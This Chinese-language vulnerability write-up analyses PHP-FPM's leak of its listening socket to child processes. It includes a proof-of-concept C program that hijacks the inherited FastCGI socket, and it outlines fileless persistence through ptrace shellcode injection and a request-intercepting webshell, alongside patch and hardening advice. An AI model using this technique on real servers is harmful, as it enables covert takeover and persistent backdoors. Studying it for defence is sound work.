php无文件攻击(三) - php-fpm文件描述符泄露
字数 1213 2025-08-10 08:29:06
PHP-FPM 文件描述符泄露漏洞分析与利用
一、漏洞原理
1.1 文件描述符继承机制
在Linux系统中,进程使用文件描述符(FD)来管理打开的文件。当使用system()等函数执行外部程序时,PHP-FPM存在以下行为:
- PHP-FPM没有使用
FD_CLOEXEC标志处理文件描述符 - 导致
fork()出来的子进程会继承PHP-FPM进程的所有FD - 继承的FD包括PHP-FPM监听的9000端口的socket
1.2 关键问题
子进程继承了父进程(php-fpm worker)的socket FD后,可以直接使用accept()函数从该socket接受连接,从而可能实现对PHP-FPM的控制。
二、漏洞验证
2.1 基础验证
- 创建测试PHP文件:
<?php
system("sleep 60");
?>
- 检查sleep进程继承的FD:
ls -l /proc/<sleep_pid>/fd/
可以看到sleep进程继承了php-fpm的socket FD(可能是5号FD,具体值可能变化)
2.2 利用验证
- 创建测试PHP文件(index.php):
<?php
system("/tmp/test");
?>
- 创建C程序(/tmp/test.c):
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[]){
int sockfd, newsockfd, clilen;
struct sockaddr_in cli_addr;
clilen = sizeof(cli_addr);
// 直接使用继承的FD作为socket句柄
sockfd = 5; // 可能需要调整
// accept会阻塞,直到接收到连接
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
system("/bin/touch /tmp/lol");
return 0;
}
- 编译并测试:
gcc -o /tmp/test /tmp/test.c
访问index.php后,程序会被阻塞。此时访问任意PHP-FPM处理的文件,test进程会接收到socket连接并执行system命令。
三、完整利用思路
3.1 利用步骤
- PHP脚本运行后先删除自身
- PHP脚本创建一个socket,并获取FD号
- PHP脚本调用system()建立一个子进程
- 子进程attach到父进程(php-fpm worker)
- 向父进程中注入复制FD的shellcode(使用dup2命令)
- 子进程恢复worker进程状态后detach并退出
- PHP代码中的socket即可操作php-fpm的socket
3.2 关键代码实现
- PHP部分(t3.php):
<?php
sleep(10);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
sleep(10);
- 观察FD变化:
- 原本worker只有0、1、2、5四个FD
- 新建socket后会多出一个FD(通常是3号)
四、Webshell实现
- 解析FastCGI请求
- 如果请求包含特定指令,拦截并执行
- 否则正常转发到9000端口让正常worker处理
五、漏洞限制
-
环境限制:
- 仅限Linux系统
- PHP版本限制:
- 5.x < 5.6.35
- 7.0.x < 7.0.29
- 7.1.x < 7.1.16
- 7.2.x < 7.2.4
-
攻击限制:
- PHP-FPM worker进程众多,请求被污染worker接收的概率低
- PHP-FPM socket FD号不固定(需要遍历)
六、防御建议
- 升级PHP到安全版本
- 对PHP-FPM配置进行安全加固
- 限制PHP执行系统命令的能力
- 使用
FD_CLOEXEC标志处理敏感文件描述符
七、扩展思考
- 更优雅的shellcode注入方式
- 自动化FD号探测
- 提高攻击成功率的worker选择策略
八、参考资源
- 原始漏洞分析文章
- PHP官方安全公告
- 相关GitHub PoC代码(完善后)